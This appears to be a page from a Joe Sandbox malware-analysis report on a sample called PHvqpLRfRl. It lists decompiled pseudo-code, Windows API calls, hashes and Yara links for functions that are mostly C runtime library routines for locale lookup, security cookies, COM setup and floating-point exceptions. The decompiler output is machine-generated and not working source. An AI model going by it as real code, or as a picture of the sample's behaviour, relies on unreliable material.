0x01155682
0x00000000

APIs

_GetLcidFromLangCountry.LIBCMT ref: 011556DA
_GetLcidFromLangCountry.LIBCMT ref: 0115571B
GetUserDefaultLCID.KERNEL32(?,00000000,?,?,?,0114C87D,?,?,?,?,00000004,?,00000000), ref: 0115574B

Part of subcall function 01150C48: _GetTableIndexFromLcid.LIBCMT ref: 01150C75

IsValidCodePage.KERNEL32(00000000,?,?,0114C87D,?,?,?,?,00000004,?,00000000), ref: 0115579F
IsValidLocale.KERNEL32(01165310,00000001,?,?,0114C87D,?,?,?,?,00000004,?,00000000), ref: 011557B2
GetLocaleInfoW.KERNEL32(01165310,00001001,?,00000040,?,?,?,?,?,?,?,?,?,?,?,0114C87D), ref: 01155805
GetLocaleInfoW.KERNEL32(00000000,00001002,?,00000040,?,?,?,?,?,?,?,?,?,?,?,0114C87D), ref: 0115581C

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: FromLcidLocale$CountryInfoLangValid$CodeDefaultIndexPageTableUser
String ID:
API String ID: 3567555374-0
Opcode ID: dc91e8a5da4f2f48e6ba8fd8df5a3cd1fcd180a54e8faa65c7969c1cf12ecf90
Instruction ID: 71dca60b124b70643b153c09583e9aa3435114e7ce93e1b0a33344d1b702a7ec
Opcode Fuzzy Hash: dc91e8a5da4f2f48e6ba8fd8df5a3cd1fcd180a54e8faa65c7969c1cf12ecf90
Instruction Fuzzy Hash: E151C37190021ADFEB98EBA8DC84ABE7BB9FF14304F450465EE25EB150E7709544CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0115551B, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0115551B() {
				short _t13;
				short _t28;
				void* _t31;
				void* _t32;

				_t31 = _t32;
				_t28 =  *(_t31 + 8);
				if(_t28 == 0 ||  *_t28 == 0 || E01149453(_t28, ?str?) == 0) {
					_t8 =  *((intOrPtr*)(_t31 + 0xc)) + 8; // 0x1166aec
					if(GetLocaleInfoW( *_t8, 0x20001004, _t31 + 8, 2) != 0) {
						_t13 =  *(_t31 + 8);
						if(_t13 == 0) {
							return GetACP();
						}
					} else {
						goto L9;
					}
				} else {
					if(E01149453(_t28, ?str?) != 0) {
						_t13 = E01157000(_t28);
					} else {
						_t4 =  *((intOrPtr*)(_t31 + 0xc)) + 8; // 0x1166aec
						if(GetLocaleInfoW( *_t4, 0x2000000b, _t31 + 8, 2) == 0) {
							L9:
							_t13 = 0;
						} else {
							_t13 =  *(_t31 + 8);
						}
					}
				}
				return _t13;
			}

0x0115551d
0x01155522
0x01155524
0x01155586
0x01155591
0x01155597
0x0115559c
0x011555a0
0x011555a0
0x00000000
0x00000000
0x00000000
0x0115553d
0x0115554c
0x01155570
0x0115554e
0x0115555c
0x01155567
0x01155593
0x01155593
0x01155569
0x01155569
0x01155569
0x01155567
0x0115554c
0x0115556e

APIs

GetLocaleInfoW.KERNEL32(01166AEC,2000000B,00000000,00000002,00000000,?,01155777,00000000,00000000,?,?,0114C87D,?,?,?), ref: 0115555F
GetLocaleInfoW.KERNEL32(01166AEC,20001004,00000000,00000002,00000000,?,01155777,00000000,00000000,?,?,0114C87D,?,?,?), ref: 01155589

Strings

OCP, xrefs: 0115553D
ACP, xrefs: 0115552C

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 3004e0a0eec49c92bb5e87cf33d8c8739ed424bcd469b6d8ba850dfe68ffeedb
Instruction ID: e2524938e79be73ed2ce6b4fc2fcde67d6a1395a967b5cb24141de8a6e6d1dbc
Opcode Fuzzy Hash: 3004e0a0eec49c92bb5e87cf33d8c8739ed424bcd469b6d8ba850dfe68ffeedb
Instruction Fuzzy Hash: DA01B931220106FBEB9D9A58EC45FDA3BEBAF056ADB048015FA25D6040D731D680C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 01150216, Relevance: 6.1, APIs: 4, Instructions: 54
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01150216() {
				signed int _t21;
				signed int _t29;
				signed int _t35;
				void* _t43;
				void* _t44;

				_t43 = _t44;
				 *(_t43 - 0xc) =  *(_t43 - 0xc) & 0x00000000;
				 *(_t43 - 8) =  *(_t43 - 8) & 0x00000000;
				_t21 =  *0x1169060; // 0x43153b94
				if(_t21 == 0xbb40e64e || (0xffff0000 & _t21) == 0) {
					GetSystemTimeAsFileTime(_t43 - 0xc);
					 *(_t43 - 4) =  *(_t43 - 8) ^  *(_t43 - 0xc);
					 *(_t43 - 4) =  *(_t43 - 4) ^ GetCurrentThreadId();
					 *(_t43 - 4) =  *(_t43 - 4) ^ GetCurrentProcessId();
					QueryPerformanceCounter(_t43 - 0x14);
					_t29 = _t43 - 4;
					_t35 =  *(_t43 - 0x10) ^  *(_t43 - 0x14) ^  *(_t43 - 4) ^ _t29;
					if(_t35 != 0xbb40e64e) {
						if((0xffff0000 & _t35) == 0) {
							_t29 = (_t35 | 0x00004711) << 0x10;
							_t35 = _t35 | _t29;
						}
					} else {
						_t35 = 0xbb40e64f;
					}
					 *0x1169060 = _t35;
					 *0x1169064 =  !_t35;
				} else {
					_t29 =  !_t21;
					 *0x1169064 = _t29;
				}
				return _t29;
			}

0x01150218
0x0115021c
0x01150220
0x01150224
0x01150237
0x0115024a
0x01150256
0x0115025f
0x01150268
0x0115026f
0x01150278
0x01150281
0x01150285
0x01150290
0x01150299
0x0115029c
0x0115029c
0x01150287
0x01150287
0x01150287
0x0115029e
0x011502a6
0x0115023d
0x0115023d
0x0115023f
0x0115023f
0x011502b1

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 0115024A
GetCurrentThreadId.KERNEL32 ref: 01150259
GetCurrentProcessId.KERNEL32 ref: 01150262
QueryPerformanceCounter.KERNEL32(?), ref: 0115026F

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a6ce525f0736a20c52abac2bfe9ee0deadd83617ddde6f6eeca1dff496509076
Instruction ID: 0f972bcc426f603b9e1abd36126f02434ce4768b6a75dd29a4caf5cb19792d90
Opcode Fuzzy Hash: a6ce525f0736a20c52abac2bfe9ee0deadd83617ddde6f6eeca1dff496509076
Instruction Fuzzy Hash: E8118F71D01208EFDF28CFF8D5486AEB7B8EB0C351F61446AE826D7244DB314640CB91

Uniqueness

Uniqueness Score: -1.00%

Function 011488A0, Relevance: 4.6, APIs: 3, Instructions: 92
comCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E011488A0(intOrPtr* _a4, intOrPtr* _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr* _t44;
				short _t58;
				intOrPtr* _t71;
				void* _t77;

				_v12 = 0;
				if(_a8 == 0 || _a4 == 0) {
					_v12 = 0x80070057;
				}
				if(_a8 != 0) {
					_t44 = _a8;
					 *_t44 = 0;
				}
				if(_v12 >= 0) {
					__imp__CoCreateInstance(0x115ff90, 0, 1, 0x115ffb0, _a8);
					_v12 = _t44;
				}
				if(_v12 >= 0) {
					_v20 = 0;
					_v16 = 0;
					_v12 =  *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x14))))(_a4, _v20, _v16, 0, 0);
				}
				if(_v12 >= 0) {
					_v8 = 0;
					__imp__#8( &_v36);
					_t58 = 0xd;
					_v36 = _t58;
					_v28 = _a4;
					 *((intOrPtr*)( *((intOrPtr*)( *_a4 + 4))))(_a4);
					_push( &_v8);
					_push(_t77 - 0x10);
					_pop(_t71);
					 *_t71 = _v36;
					 *((intOrPtr*)(_t71 + 4)) = _v32;
					 *((intOrPtr*)(_t71 + 8)) = _v28;
					 *((intOrPtr*)(_t71 + 0xc)) = _v24;
					_v12 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_a8)) + 0xe8))))( *_a8);
					if(_v12 == 1) {
						_v12 = 0x80004005;
					}
					__imp__#9( &_v36);
				}
				return _v12;
			}

0x011488a6
0x011488b1
0x011488b9
0x011488b9
0x011488c4
0x011488c6
0x011488c9
0x011488c9
0x011488d3
0x011488e7
0x011488ed
0x011488ed
0x011488f4
0x011488f6
0x011488fd
0x0114891e
0x0114891e
0x01148925
0x01148929
0x01148931
0x0114893b
0x0114893c
0x01148943
0x01148952
0x01148957
0x0114895b
0x0114895c
0x01148960
0x01148965
0x0114896b
0x01148971
0x01148989
0x01148990
0x01148992
0x01148992
0x0114899d
0x0114899d
0x011489a9

APIs

CoCreateInstance.OLE32(0115FF90,00000000,00000001,0115FFB0,00000000,011431B1,00000000,0114250E,00000000), ref: 011488E7
VariantInit.OLEAUT32(011431B1), ref: 01148931
VariantClear.OLEAUT32(?), ref: 0114899D

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: Variant$ClearCreateInitInstance
String ID:
API String ID: 2276638090-0
Opcode ID: 57c6eb206ca17cb29be52282a67e6dc59a242322471e1895501d4e67fdc11858
Instruction ID: c2c3517f75c7cf120cdfe498a91e080d04b28cfae0e24783ceb16a4e71e6aed6
Opcode Fuzzy Hash: 57c6eb206ca17cb29be52282a67e6dc59a242322471e1895501d4e67fdc11858
Instruction Fuzzy Hash: 1E413A74A00209EFDB18DF98D888B9DBBB0FF49700F10C159E919AB390D774AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 003F7F8E, Relevance: 4.3, Strings: 3, Instructions: 560COMMON

Download Yara Rule

Strings

lmu/, xrefs: 003F86E0
*', xrefs: 003F81FB
lmu/, xrefs: 003F87C2

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID:
String ID: *'$lmu/$lmu/
API String ID: 0-636906075
Opcode ID: b7524a3de83cd4a76f4d447deb268b03eed86ef20e49021a3d0791e93a30b770
Instruction ID: f50bec6168577a8e9c5fec9a504b6aa3838fa824769d78910864fb05a60776f3
Opcode Fuzzy Hash: b7524a3de83cd4a76f4d447deb268b03eed86ef20e49021a3d0791e93a30b770
Instruction Fuzzy Hash: E7020739A0830D87C62AEB78888953E72D56B90740F75492BF796CF361EE34CC4587A3

Uniqueness

Uniqueness Score: -1.00%

Function 003F98FE, Relevance: 4.0, Strings: 3, Instructions: 219COMMON

Download Yara Rule

Strings

DR, xrefs: 003F993A
Ou, xrefs: 003F99C8
fX, xrefs: 003F9922

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID:
String ID: DR$Ou$fX
API String ID: 0-261343277
Opcode ID: 9a4cfae2509eada84d4514ed3e752f1f713b4941d1beb8100a69beae9a0044a5
Instruction ID: 5f2f2e890a13ca0cf509233b3871a1770bc2caccd1a4a5a397de025cea96b97f
Opcode Fuzzy Hash: 9a4cfae2509eada84d4514ed3e752f1f713b4941d1beb8100a69beae9a0044a5
Instruction Fuzzy Hash: E581B171608305CFD729DFA8D98573FB6E4AB88714F00092EF285DB390D7B4D9098B56

Uniqueness

Uniqueness Score: -1.00%

Function 003F9C6E, Relevance: 3.9, Strings: 3, Instructions: 169COMMON

Download Yara Rule

Strings

DR, xrefs: 003F9CA6
Ou, xrefs: 003F9D2E
m, xrefs: 003F9C9E

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID:
String ID: DR$Ou$m
API String ID: 0-902897619
Opcode ID: b62bf488743f1a2059ce3998f655a55e53d780affa885b97e3efcba5522db659
Instruction ID: b43f4525ec94c5cc36cdd8519173b9fd642e2ee3824180b96fad02d58c04c18e
Opcode Fuzzy Hash: b62bf488743f1a2059ce3998f655a55e53d780affa885b97e3efcba5522db659
Instruction Fuzzy Hash: 8361BE72A083058BD719EF68C845B2FB7E4ABE4714F05491EF2D59B294D7B8C9098F82

Uniqueness

Uniqueness Score: -1.00%

Function 0115074A, Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0115074A(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x0115074f
0x0115075f

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,0114B592,?,?,?,00000001), ref: 0115074F
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 01150758

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8b2f9880fed8ded8b4674bf9565bfe16c75660eb2f024dc6b78ef087ae65086e
Instruction ID: da06e071f6935718bc04dfc7e177b1d22b820be7c2c87ba3674cdf45d0318d1d
Opcode Fuzzy Hash: 8b2f9880fed8ded8b4674bf9565bfe16c75660eb2f024dc6b78ef087ae65086e
Instruction Fuzzy Hash: 34B09275044309EBCB142BE2E849B483F68EB0A652F000020F65E450558B62A4928B91

Uniqueness

Uniqueness Score: -1.00%

Function 003F90CE, Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

j>, xrefs: 003F90D4
_I, xrefs: 003F91C1

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID:
String ID: j>$_I
API String ID: 0-1249037685
Opcode ID: 29f85d3dca72841e53796d257874640ed7d86128da8aafbf7407b600ee0fd507
Instruction ID: ff22704116d95db2e59c549cb1ecb1ec33f9ff1d994e40892150afa4149af5c6
Opcode Fuzzy Hash: 29f85d3dca72841e53796d257874640ed7d86128da8aafbf7407b600ee0fd507
Instruction Fuzzy Hash: ABA1F471A0830A8FC759DF68D54562FB7E5BBD4300F01492EF686AB2A0D774DD09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0114DBCA, Relevance: 1.8, APIs: 1, Instructions: 268
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E0114DBCA(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E0114DFE6(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E0114DF52(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x0114dbd6
0x0114dbdd
0x0114dbe2
0x0114dbe8
0x0114dbeb
0x0114dbf1
0x0114dbf6
0x0114dbfb
0x0114dbfb
0x0114dc01
0x0114dc06
0x0114dc0b
0x0114dc0b
0x0114dc12
0x0114dc17
0x0114dc1c
0x0114dc1c
0x0114dc23
0x0114dc28
0x0114dc2d
0x0114dc2d
0x0114dc34
0x0114dc39
0x0114dc3e
0x0114dc3e
0x0114dc46
0x0114dc56
0x0114dc68
0x0114dc7a
0x0114dc8d
0x0114dc9f
0x0114dca7
0x0114dcac
0x0114dcb1
0x0114dcb1
0x0114dcb8
0x0114dcbd
0x0114dcbd
0x0114dcc4
0x0114dcc9
0x0114dcc9
0x0114dcd0
0x0114dcd5
0x0114dcd5
0x0114dcdc
0x0114dce1
0x0114dce1
0x0114dceb
0x0114dced
0x0114dd27
0x0114dcef
0x0114dcf4
0x0114dd18
0x0114dd20
0x0114dd14
0x0114dd14
0x0114dd2a
0x0114dd31
0x0114dd33
0x0114dd55
0x0114dd5d
0x0114dd60
0x0114dd60
0x0114dd62
0x0114dd62
0x0114dd6d
0x0114dd73
0x0114dd78
0x0114dd7f
0x0114ddb9
0x0114ddc4
0x0114ddca
0x0114ddcd
0x0114ddd0
0x0114dddc
0x0114dde4
0x0114dd81
0x0114dd84
0x0114dd90
0x0114dd96
0x0114dd9c
0x0114dd9f
0x0114dda8
0x0114dda8
0x0114dde7
0x0114ddf5
0x0114ddfb
0x0114de02
0x0114de04
0x0114de04
0x0114de0b
0x0114de0d
0x0114de0d
0x0114de14
0x0114de16
0x0114de16
0x0114de1d
0x0114de1f
0x0114de1f
0x0114de26
0x0114de28
0x0114de28
0x0114de35
0x0114de38
0x0114de69
0x0114de3a
0x0114de3a
0x0114de3b
0x0114de62
0x0114de57
0x0114de57
0x0114de6b
0x0114de73
0x0114de76
0x0114de91
0x0114de96
0x0114de96
0x0114de98
0x0114de9d
0x0114dea9
0x0114de9f
0x0114dea2
0x0114dea2
0x0114deae
0x0114deae
0x0114de78
0x0114de79
0x0114de86
0x00000000
0x0114de86
0x0114de7b
0x0114de7c
0x0114de7e
0x0114de7e
0x00000000
0x0114de7c
0x0114de3d
0x0114de3e
0x0114de52
0x00000000
0x0114de52
0x0114de41
0x0114de43
0x0114de43
0x0114de41
0x00000000
0x0114de38
0x0114dd3a
0x0114dd48
0x0114dd50
0x00000000
0x0114dd50
0x0114dd3e
0x0114dd43
0x0114dd43
0x00000000
0x0114dd3e
0x0114dcfb
0x0114dd09
0x0114dd11
0x00000000
0x0114dd11
0x0114dcff
0x0114dd04
0x0114dd04
0x0114dcff

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,00000000,?,00000008,?,?,0114DBC5,00000000,?,00000008,?,?,01158616,00000000), ref: 0114DDF5

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b40bce370896433d702d3c7af58701b7dfc6f85a5284bc37fc3711d8adf1289b
Instruction ID: 50ec9fefedb13185d86c6d13681779ed0b53ee04447d671f861f842c94fb0200
Opcode Fuzzy Hash: b40bce370896433d702d3c7af58701b7dfc6f85a5284bc37fc3711d8adf1289b
Instruction Fuzzy Hash: F3B14A312106098FEF29CF6CD486B687BE0FF55764F258658E99ACF2A1C335D982CB40

Uniqueness

Uniqueness Score: -1.00%

Function 011555C8, Relevance: 1.5, APIs: 1, Instructions: 45
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E011555C8() {
				void* __esp;
				void* _t7;
				void* _t11;
				void* _t12;
				void* _t21;
				signed int _t24;
				void* _t26;
				void* _t27;

				_pop(_t27);
				_t7 = E0114C25F();
				_t24 =  *(_t27 + 8);
				_t21 = _t7;
				if(GetLocaleInfoW(_t24 & 0x000003ff | 0x00000400, 0x20000001, _t27 - 4, 2) != 0) {
					if(_t24 ==  *(_t27 - 4) ||  *((intOrPtr*)(_t27 + 0xc)) == 0) {
						L5:
						_t11 = 1;
					} else {
						_t12 = E011551D2( *((intOrPtr*)(_t21 + 0x9c)));
						_push( *((intOrPtr*)(_t21 + 0x9c)));
						_t26 = _t12;
						if(_t26 == E0114943A()) {
							goto L1;
						} else {
							goto L5;
						}
					}
				} else {
					L1:
					_t11 = 0;
				}
				_push(_t27);
				return _t11;
			}

0x011555ca
0x011555ce
0x011555d3
0x011555d7
0x011555fa
0x01155603
0x01155629
0x0115562b
0x0115560b
0x01155611
0x01155616
0x0115561d
0x01155627
0x00000000
0x00000000
0x00000000
0x00000000
0x01155627
0x011555fc
0x011555fc
0x011555fc
0x011555fc
0x0115562e
0x01155631

APIs

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0115549F,00000000,00000000,?), ref: 011555F2

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a6361bc5116ed42d0dc865be7624b80b9c9fff3e88db3ec6241df34b744343bb
Instruction ID: 184ea39da889babd49cbbb0ab89b7e49c8a0c63f49bca983555980619d52d3f6
Opcode Fuzzy Hash: a6361bc5116ed42d0dc865be7624b80b9c9fff3e88db3ec6241df34b744343bb
